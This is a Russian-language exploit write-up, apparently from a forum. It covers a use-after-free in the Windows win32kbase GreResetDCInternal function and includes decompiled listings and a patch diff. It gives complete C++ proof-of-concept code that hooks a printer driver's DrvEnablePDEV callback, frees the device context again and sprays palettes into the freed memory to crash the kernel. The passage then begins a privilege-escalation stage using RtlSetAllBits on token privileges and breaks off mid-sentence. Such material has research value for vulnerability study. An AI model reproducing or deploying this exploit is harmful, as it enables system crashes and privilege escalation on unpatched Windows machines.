1c01470c6 TEST RDI,RDI
1c01470c9 JZ LAB_1c01470da
1c01470cb MOV param_1,RDI
1c01470ce CALL qword ptr [->WIN32KBASE.SYS::FreeThreadBuffer
1c01470d5 NOP dword ptr [RAX + RAX*0x1]
LAB_1c01470da XREF[1]: 1c01470c9(j)
1c01470da MOV param_1,RSI
1c01470dd CALL qword ptr [->WIN32KBASE.SYS::vFreeDriverInfo2]
1c01470e4 NOP dword ptr [RAX + RAX*0x1]
1c01470e9 MOV EAX,EBX
1c01470eb MOV RBX,qword ptr [RSP + local_res10]
1c01470f3 ADD RSP,0x50
1c01470f7 POP R15
1c01470f9 POP R14
1c01470fb POP R12
1c01470fd POP RDI
1c01470fe POP RSI
1c01470ff RET
При беглом взгляде на функицию становится ясно что выделений памяти в функции нет, а уж тем более вызова адреса из памяти. Внутри фукнции есть 5 вызовов:
Из них нас интересует только третий - GreResetDCInternal. Вот нередактированный листинг дизассемблера гидры для этой функции:
C++:Copy to clipboard
int FUN_1c0147108(undefined8 param_1,undefined8 param_2,uint *param_3,undefined8 param_4,
undefined8 param_5)
{
longlong lVar1;
longlong lVar2;
int iVar3;
longlong lVar4;
uint uVar5;
int iVar6;
int iVar7;
uint uVar8;
longlong local_78;
DC *local_70 [0x2];
DC *local_60 [0x4];
uVar8 = 0x0;
lVar4 = 0x0;
iVar6 = 0x0;
FUN_1c008daf8(local_70);
if (local_70[0] == NULL) {
EngSetLastError(0x6);
LAB_1c01b4877:
}
else {
uVar8 = *(uint *)(local_70[0] + 0x24) & 0x800;
if (uVar8 != 0x0) {
DC::bMakeInfoDC(local_70[0],0x0);
}
lVar1 = *(longlong *)(local_70[0] + 0x30);
local_78 = *(longlong *)(lVar1 + 0x6b0);
*(undefined8 *)(lVar1 + 0x6b0) = 0x0;
if ((((*(uint *)(local_70[0] + 0x24) & 0x100) != 0x0) || (*(int *)(local_70[0] + 0x20) == 0x1))
|| (-0x1 < (char)*(undefined4 *)(lVar1 + 0x28))) goto LAB_1c01b4877;
iVar7 = *(int *)(local_70[0] + 0x6c);
lVar2 = *(longlong *)(local_70[0] + 0x1f0);
iVar3 = XDCOBJ::bCleanDC((XDCOBJ *)local_70,0x0);
if (((iVar3 != 0x0) && (*(int *)(lVar1 + 0x8) == 0x1)) &&
(lVar4 = hdcOpenDCW(&DAT_1c02c54c0,param_2,0x0,0x0,*(undefined8 *)(lVar1 + 0xa00),local_78,
param_4,param_5,0x0), lVar4 != 0x0)) {
*(undefined8 *)(lVar1 + 0xa00) = 0x0;
FUN_1c008daf8(local_60,lVar4);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
if (0x0 < iVar7) {
*(undefined4 *)(local_60[0] + 0x6c) = *(undefined4 *)(local_60[0] + 0x68);
}
*(undefined8 *)(local_60[0] + 0x808) = *(undefined8 *)(local_70[0] + 0x808);
*(undefined8 *)(local_70[0] + 0x808) = 0x0;
*(undefined8 *)(local_60[0] + 0x810) = *(undefined8 *)(local_70[0] + 0x810);
*(undefined8 *)(local_70[0] + 0x810) = 0x0;
if (*(code **)(lVar1 + 0xab8) != NULL) {
(**(code **)(lVar1 + 0xab8))
(*(undefined8 *)(lVar1 + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
}
GreAcquireHmgrSemaphore();
HmgSwapLockedHandleContents(param_1,0x0,lVar4,0x0,0x1);
GreReleaseHmgrSemaphore();
iVar6 = 0x1;
}
if (local_60[0] != NULL) {
FUN_1c008ed8c(local_60);
}
}
local_78._0_4_ = (uint)(lVar2 != 0x0);
}
iVar7 = 0x0;
if (local_70[0] != NULL) {
FUN_1c008ed8c(local_70);
}
if (iVar6 == 0x0) {
return 0x0;
}
bDeleteDCInternal(lVar4,0x1,0x0);
FUN_1c008daf8(local_60);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
local_78 = *(longlong *)(local_60[0] + 0x30);
if ((uint)local_78 == 0x0) {
*param_3 = 0x0;
iVar7 = iVar6;
}
else {
iVar3 = PDEVOBJ::bMakeSurface((PDEVOBJ *)&local_78,NULL);
if (iVar3 == 0x0) goto LAB_1c0147381;
FUN_1c010a880(local_60[0]);
uVar5 = *(uint *)(*(longlong *)(local_78 + 0x9f8) + 0x70) & 0x2000000;
*param_3 = uVar5;
if (uVar5 != 0x0) {
*(undefined8 *)(local_60[0] + 0x200) =
*(undefined8 *)(*(longlong *)(local_78 + 0x9f8) + 0x38);
DC::bSetDefaultRegion(local_60[0]);
}
if (*(code **)(local_78 + 0xb98) != NULL) {
(**(code **)(local_78 + 0xb98))
(-(ulonglong)(*(longlong *)(local_78 + 0x9f8) != 0x0) &
*(longlong *)(local_78 + 0x9f8) + 0x18U,0x0,0x0);
iVar7 = iVar6;
}
}
if ((iVar7 != 0x0) && (uVar8 != 0x0)) {
DC::bMakeInfoDC(local_60[0],0x1);
}
}
LAB_1c0147381:
if (local_60[0] != NULL) {
FUN_1c008ed8c(local_60);
}
return iVar7;
}
Пока функция выглядит неопрятно, позже мы исправим это, но кое что уже бросается в глаза:
C++:Copy to clipboard
(**(code **)(lVar1 + 0xab8))
(*(undefined8 *)(lVar1 + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
Это вызов адреса из памяти.
Теперь определимся с тем, как конкретно поисходит освобождение объекта из
памяти, и как мы можем контролировать адресс lVar1 + 0xab8.
Давайте сравним две версии функции GreResetDCInternal, 1757 и 2237. Напомню
что я приложил обе версии драйвера к статье, на случай если вы захотите
иследовать их самостоятельно.
Скриншоты сделаны в bindiff:
Сравнение потоков выполнения функций. Слева - 1757, справа - 2237. Как видно
справа на 4 блока больше. Блоки серого цвета - добавленные.
Давайта взглянем ближе:
Все 3 из показанных выше блоков, ведут в bad block:
Чтож, настало время поближе взглянуть на GreResetDCInternal. Это верся 2237 - исправленная:
C++:Copy to clipboard
void GreResetDCInternal(ulonglong param_1,DC *param_2,uint *param_3,undefined8 param_4,
undefined8 param_5)
{
longlong lVar1;
bool bVar2;
bool bVar3;
char cVar4;
int iVar5;
int iVar6;
longlong lVar7;
uint uVar8;
uint uVar9;
undefined auStack344 [0x20];
undefined8 local_138;
undefined *local_130;
undefined8 local_128;
undefined8 local_120;
undefined4 local_118;
ulonglong local_108;
DC *local_100 [0x2];
DC *local_f0 [0x2];
uint *local_e0;
undefined8 local_d8;
undefined8 local_d0;
undefined *local_c8;
undefined local_b8 [0x20];
undefined8 *local_98;
undefined8 local_90;
undefined8 *local_88;
undefined8 local_80;
uint **local_78;
undefined8 local_70;
ulonglong *local_68;
undefined8 local_60;
ulonglong local_58;
local_58 = __security_cookie ^ (ulonglong)auStack344;
lVar7 = 0x0;
uVar9 = 0x0;
local_d0 = param_5;
local_108 = param_1;
local_100[0] = param_2;
local_e0 = param_3;
local_d8 = param_4;
DCOBJ::DCOBJ(local_f0);
uVar8 = 0x1;
if (local_f0[0] == NULL) {
LAB_1c0148226:
EngSetLastError(0x6);
bVar2 = false;
}
else {
if (0x1 < *(ushort *)(local_f0[0] + 0xc)) {
if ((0x5 < _DAT_1c030c4e0) &&
(cVar4 = _tlgKeywordOn(&DAT_1c030c4e0,0x400000000000), cVar4 != '\0')) {
local_98 = &local_d8;
local_d8 = CONCAT44(local_d8._4_4_,0x106bd);
local_88 = &local_d0;
local_78 = &local_e0;
local_68 = &local_108;
local_90 = 0x4;
local_d0 = 0x1000000;
local_80 = 0x8;
local_e0 = (uint *)((ulonglong)local_e0 & 0xffffffff00000000 | (ulonglong)uVar8);
local_70 = 0x4;
local_108 = local_108 & 0xffffffff00000000;
local_60 = 0x4;
local_130 = local_b8;
local_138 = CONCAT44(local_138._4_4_,0x6);
_TlgWrite(&DAT_1c030c4e0,&DAT_1c02d5a13,0x0,0x0);
}
goto LAB_1c0148226;
}
...
}
В приведённом выше листинге дизассемблера, отражены те блоки которые были добавлены. Если коротко то этот код проверяет количество одновременных использованиий объекта, и в случае если объект используется больше одного раза, мы попадаем в BadBlock, где нас ждёт EngSetLastError. Логично было бы предположить, что раз в уязвимой версии такой проверки нет, то объект будет использоваться дважды.
Настал момент для полного анализа функции GreResetDCInternal. Я загрузил символы, указал типы и назвал аргументы, так что функция теперь должна выглядеть более читаемо. Кроме того я отметил все ключевые места цифрами, каждую из которых я опишу ниже:
C++:Copy to clipboard
int GreResetDCInternal(HDC hdc,DEVMODEW *pdmw,BOOLEAN *pbBanding,_DRIVER_INFO_2W *pDriverInfo2,
PVOID ppUMdhpdev)
{
int iVar2;
longlong newDC;
uint uVar4;
int iVar5;
int iVar6;
uint uVar7;
longlong local_78;
DC *local_70 [0x2];
DC *local_60 [0x4];
PDEVOBJ *po;
longlong lVar1;
uVar7 = 0x0;
newDC = 0x0;
iVar5 = 0x0;
DCOBJ::DCOBJ(local_70); // 1
if (local_70[0] == NULL) {
EngSetLastError(0x6);
LAB_1c01b4877:
}
else {
uVar7 = *(uint *)(local_70[0] + 0x24) & 0x800;
if (uVar7 != 0x0) {
DC::bMakeInfoDC(local_70[0],0x0);
}
po = *(PDEVOBJ **)(local_70[0] + 0x30); // 2
local_78 = *(longlong *)(po + 0x6b0);
*(undefined8 *)(po + 0x6b0) = 0x0;
if ((((*(uint *)(local_70[0] + 0x24) & 0x100) != 0x0) || (*(int *)(local_70[0] + 0x20) == 0x1))
|| (-0x1 < (char)*(undefined4 *)(po + 0x28))) goto LAB_1c01b4877;
iVar6 = *(int *)(local_70[0] + 0x6c);
lVar1 = *(longlong *)(local_70[0] + 0x1f0);
iVar2 = XDCOBJ::bCleanDC((XDCOBJ *)local_70,0x0);
if (((iVar2 != 0x0) && (*(int *)(po + 0x8) == 0x1)) &&
(newDC = hdcOpenDCW(L"",pdmw,0x0,0x0,*(undefined8 *)(po + 0xa00),local_78,pDriverInfo2,
ppUMdhpdev,0x0), newDC != 0x0)) { // 3
*(undefined8 *)(po + 0xa00) = 0x0;
DCOBJ::DCOBJ(local_60,newDC);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
if (0x0 < iVar6) {
*(undefined4 *)(local_60[0] + 0x6c) = *(undefined4 *)(local_60[0] + 0x68);
}
*(undefined8 *)(local_60[0] + 0x808) = *(undefined8 *)(local_70[0] + 0x808);
*(undefined8 *)(local_70[0] + 0x808) = 0x0;
*(undefined8 *)(local_60[0] + 0x810) = *(undefined8 *)(local_70[0] + 0x810);
*(undefined8 *)(local_70[0] + 0x810) = 0x0;
if (*(code **)(po + 0xab8) != NULL) {
(**(code **)(po + 0xab8))
(*(undefined8 *)(po + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708)); // 4
}
GreAcquireHmgrSemaphore();
HmgSwapLockedHandleContents(hdc,0x0,newDC,0x0,0x1);
GreReleaseHmgrSemaphore();
iVar5 = 0x1;
}
if (local_60[0] != NULL) {
XDCOBJ::vUnlockFast(local_60);
}
}
local_78._0_4_ = (uint)(lVar1 != 0x0);
}
iVar6 = 0x0;
if (local_70[0] != NULL) {
XDCOBJ::vUnlockFast(local_70);
}
if (iVar5 == 0x0) {
return 0x0;
}
bDeleteDCInternal(newDC,0x1,0x0); // 5
DCOBJ::DCOBJ(local_60);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
local_78 = *(longlong *)(local_60[0] + 0x30);
if ((uint)local_78 == 0x0) {
*(undefined4 *)pbBanding = 0x0;
iVar6 = iVar5;
}
else {
iVar2 = PDEVOBJ::bMakeSurface((PDEVOBJ *)&local_78,NULL);
if (iVar2 == 0x0) goto LAB_1c0147381;
DC::pSurface(local_60[0]);
uVar4 = *(uint *)(*(longlong *)(local_78 + 0x9f8) + 0x70) & 0x2000000;
*(uint *)pbBanding = uVar4;
if (uVar4 != 0x0) {
*(undefined8 *)(local_60[0] + 0x200) =
*(undefined8 *)(*(longlong *)(local_78 + 0x9f8) + 0x38);
DC::bSetDefaultRegion(local_60[0]);
}
if (*(code **)(local_78 + 0xb98) != NULL) {
// Call
(**(code **)(local_78 + 0xb98))
(-(ulonglong)(*(longlong *)(local_78 + 0x9f8) != 0x0) &
*(longlong *)(local_78 + 0x9f8) + 0x18U,0x0,0x0);
iVar6 = iVar5;
}
}
if ((iVar6 != 0x0) && (uVar7 != 0x0)) {
DC::bMakeInfoDC(local_60[0],0x1);
}
}
LAB_1c0147381:
if (local_60[0] != NULL) {
XDCOBJ::vUnlockFast(local_60);
}
return iVar6;
}
Разберём по пунктам:
Перед тем как я окончательно объясню то, как работает уязвимость, осталось
разобрать один важный момент. Под цифрой 3, в листинге выше я указал вызов
hdcOpenDCW. Давайте взглянем на листинг win32kbase!hdcOpenDCW
, и я объясню
почему этот вызов играет ключевую роль:
C++:Copy to clipboard
HDC__ * hdcOpenDCW(unsigned_short *param_1,_devicemodeW *param_2,int param_3,int param_4,
void *param_5,tagREMOTETYPEONENODE *param_6,HDC__ *param_7,undefined8 *param_8,
int param_9)
{
void *pvVar1;
ulonglong uVar2;
int iVar3;
longlong lVar4;
HDC__ *pHVar5;
_LDEV *p_Var6;
longlong lVar7;
undefined8 *puVar8;
unsigned_short *local_res8;
ulonglong in_stack_ffffffffffffff50;
ulonglong in_stack_ffffffffffffff58;
ulonglong in_stack_ffffffffffffff60;
undefined8 local_68;
longlong local_60;
longlong local_58;
undefined local_50 [0x10];
longlong local_40 [0x3];
// 0x3d360 2436 hdcOpenDCW
uVar2 = (ulonglong)param_7;
pHVar5 = NULL;
param_7 = (HDC__ *)((ulonglong)param_7 & 0xffffffff00000000 | (ulonglong)(param_7 != NULL));
local_res8 = param_1;
if ((param_1 != NULL) && (uVar2 == 0x0)) {
lVar7 = 0x0;
lVar4 = 0x0;
RtlInitUnicodeString(local_50,param_1);
EnterSharedCrit(0x0,0x1);
EngAcquireSemaphore(ghsemDynamicModeChange);
EtwTraceGreLockAcquireSemaphoreExclusive(L"ghsemDynamicModeChange",ghsemDynamicModeChange,0x1);
if (param_9 == 0x0) {
if (param_2 == NULL) {
lVar4 = DrvGetHDEV(local_50);
if ((param_4 != 0x0) && (param_3 == 0x0)) {
pHVar5 = (HDC__ *)UserGetMonitorDC(lVar4);
}
...
else {
PDEVOBJ::PDEVOBJ((PDEVOBJ *)&local_res8,p_Var6,param_2,local_res8,
*(unsigned_short **)(uVar2 + 0x20),*(unsigned_short **)(uVar2 + 0x8),pvVar1,
param_6,NULL,NULL,(int)param_7,0x0,0x0);
...
Я убрал всё лишнее, и оставил только то, что нам нужно - вызов PDEVOBJ::PDEVOBJ. Функция достаточно большая, так что я приведу лишь интересный нам кусок:
C++:Copy to clipboard
void __thiscall
PDEVOBJ::PDEVOBJ(PDEVOBJ *this,_LDEV *param_1,_devicemodeW *param_2,unsigned_short *param_3,
unsigned_short *param_4,unsigned_short *param_5,void *param_6,
tagREMOTETYPEONENODE *param_7,_GDIINFO *param_8,tagDEVINFO *param_9,int param_10,
unsigned_long param_11,unsigned_long param_12)
{
...
pDVar14 = EnablePDEV((PDEVOBJ *)&local_210,param_2,param_3,
(unsigned_long)(_GDIINFO *)(pHVar13 + 0x858),(HSURF__ **)(pHVar13 + 0x5b0),
in_stack_fffffffffffffda0,(_GDIINFO *)(pHVar13 + 0x858),
in_stack_fffffffffffffdb0,(tagDEVINFO *)(pHVar13 + 0x720),pHVar13,
(unsigned_short *)local_228,local_220);
...
}
Теперь листинг для EnablePDEV:
C++:Copy to clipboard
DHPDEV__ * __thiscall
PDEVOBJ::EnablePDEV(PDEVOBJ *this,_devicemodeW *param_1,unsigned_short *param_2,
unsigned_long param_3,HSURF__ **param_4,unsigned_long param_5,_GDIINFO *param_6,
unsigned_long param_7,tagDEVINFO *param_8,HDEV__ *param_9,
unsigned_short *param_10,void *param_11)
{
DHPDEV__ *pDVar1;
pDVar1 = (DHPDEV__ *)
(**(code **)(*(longlong *)this + 0xa80))
(param_1,param_2,0x6,param_4,0x140,param_6,0x138,param_8,param_9,param_10,
param_11);
return pDVar1;
}
Функция EnablePDEV представляет собой callback к фукнции DrvEnablePDEV. При желании мы можем подменить адрес DrvEnablePDEV своим хуком в пользовательском режиме - это и есть ключевой момент. Который позволит нам повторно использовать объект, освободить его из памяти и вызвать UAF.
Как же вызвать освобождение объекта и подменить вызываемый адрес в памяти? Держа всё вышесказанное в голове, пройдёмся по порядку:
Проверка сценария
Для проверки всего вышеописанного сценария, давайте напишем PoC который
вызовет BSOD. Первым делом напишем шаблон:
C++:Copy to clipboard
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>
int main() {
printf("[*] Verifying vulnerability consept\n");
return 0;
}
Для того чтобы достичь функции NtGdiResetDC, нужно вызвать ResetDC(). Но перед тем как вызывать уязвимость, давайте повесим хук на callback DrvEnablePDEV. Определим функцию SetUpHook(), и найдём все принтеры в системе:
C++:Copy to clipboard
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
}
Теперь добавим цикл, который будет итерироваться по принтерам. Я отметил все важные места цифрами, ниже я опишу что делает отмеченный код:
C++:Copy to clipboard
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) { // 1
printf(" --- Can't open printer!\n");
continue;
}
else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded); // 2
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) { // 3
printf(" --- Can't get printer driver\n");
continue;
}
else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); // 4
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver"); // 5
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) { // 6
printf(" --- Can't enable driver!\n");
continue;
}
else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) { // 7
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) { // 8
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver(); // 9
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect); // 10
return true;
}
Разберём весь цикл по пунктам:
Вот структура hooks, использованная на шаге 8:
C++:Copy to clipboard
typedef struct _hookData
{
ULONG index;
LPVOID func;
} hookData;
hookData hooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};
Первое поле структуры это индекс функции, а второе - указатель на функцию. И наконец origFuncs:
C++:Copy to clipboard
_VoidFunc origFuncs[INDEX_LAST];
Надеюсь суть понятна. Эта же функция перекочует в итоговый эксплоит, так что запомните её.
Остался последний шаг - функция fnHook:
C++:Copy to clipboard
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
}
return ret;
}
Мы принимаем все аргументы оригинального вызова и передаем в старую функцию, сохранённую в origFuncs. Затем, в конце функции возвращаем результат оригинального вызова. По середине распологается условная конструкция if, проверяющая глобальную переменную flag. Наличие переменной flag гарантирует, что уязвимость не будет вызвана раньше, чем нам это потребуется.
Остался последний штрих - Несмотря на то что объект будет освобождён, его место не будет занято, поэтому указатель не будет переписан и останется валидным. Для того чтобы подтвердить концепцию уязвимости, нам нужно переписать старый объект. Делать это нужно сразу после повторого вызова NtGdiResetDC, тоесть прямо в функции fnHook. Для выделения объектов контролируемого размера, воспользуемся примитивом выделения палеток контролируемого размера. Плюс именно этого варианта в том, что мы можем контролировать не только размер но и содержание выделяемого объекта, запомните, это пригодится нам позже. Суммируя всё вышесказаное получаем следующую функцию fnHook:
C++:Copy to clipboard
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) {
CreatePalette(lPalette);
}
}
return ret;
}
Код вызывает ResetDCW во второй раз, освобождая DCOBJ. После этого выделяет 0x5000 палеток размером 0xe20, для того чтобы переписать только что освобождённый объект мусором.
И так вот итоговый код проверки концепции:
C++:Copy to clipboard
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>
typedef struct _hookData
{
ULONG index;
LPVOID func;
} hookData;
typedef BOOL(*_DrvEnableDriver)(
ULONG iEngineVersion,
ULONG cj,
DRVENABLEDATA* pded);
typedef DHPDEV(*_DrvEnablePDEV)(
DEVMODEW* pdm,
LPWSTR pwszLogAddress,
ULONG cPat,
HSURF* phsurfPatterns,
ULONG cjCaps,
ULONG* pdevcaps,
ULONG cjDevInfo,
DEVINFO* pdi,
HDEV hdev,
LPWSTR pwszDeviceName,
HANDLE hDriver);
typedef VOID(*_VoidFunc)();
LPWSTR printerName;
HDC hdc;
bool flag;
_VoidFunc origFuncs[INDEX_LAST];
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) {
CreatePalette(lPalette);
}
}
return ret;
}
hookData hooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
printf(" --- Can't open printer!\n");
continue;
}
else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
printf(" --- Can't get printer driver\n");
continue;
}
else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
printf(" --- Can't enable driver!\n");
continue;
}
else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) {
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
return true;
}
return false;
}
int main() {
printf("[*] Verifying vulnerability consept\n");
if (!SetUpHook()) {
printf("[!] Couldn't hook function!\n");
return 1;
}
else {
printf("[+] Hooked a function!\n");
}
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
flag = true;
ResetDCW(hdc, NULL);
Sleep(1000);
return 0;
}
Запустив получившийся код, мы должны получить BSOD из за вызова невалидного
указателя. Давайте проверим это.
Сперва запускаем код:
Получаем следующее сообщение в отладчике:
Как видно из сообщения, мы получили Fatal System Error, с кодом 0x139. Майкрософт пишет следующее - [https://docs.microsoft.com/en-us/wi...ug- check-0x139--kernel-security-check-failure](https://docs.microsoft.com/en- us/windows-hardware/drivers/debugger/bug-check-0x139--kernel-security-check- failure). Тоесть "corruption of a critical data structure" - Повреждение критической структуры данных.
Кроме этого, если присмотреться, видно строку 0x0404040404040404. Напомню что четвёрками мы заполняли нашу палетку:
C++:Copy to clipboard
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;
И как результат - BSOD:
Чтож, концепция подтверждена. Настало время для разработки эксплойта!
Эксплоит
Функция RtlSetAllBits
Для начала определимся с тем, чем подменим вызываемый адрес из памяти, и
вокруг этого построим весь остальной эксплоит. Типичным решением в подобной
ситуации, будет адрес функции RtlSetAllBits. Давайте я подробно опишу примитив
который мы будем использовать:
Функция RtlSetAllBits, устанавливает все биты в передаваемом ей bitmap. Выглядит так:
C++:Copy to clipboard
NTSYSAPI VOID RtlSetAllBits(
[in] PRTL_BITMAP BitMapHeader
);
Зачем нам это нужно? А за тем, что если BitMapHeader, будет указывать на
_SEP_TOKEN_PRIVILEGES, то мы сможем изменить привилегии токена текущего
процесса!
Ранее, в своих статьях я не описывал подобную технику. В предыдущей статье с
эксплуатацией CVE-2016-3309, мы просто достигли примитивов произвольного
чтения и записи, а затем поменяли токен текущего процесса с системным. В этот
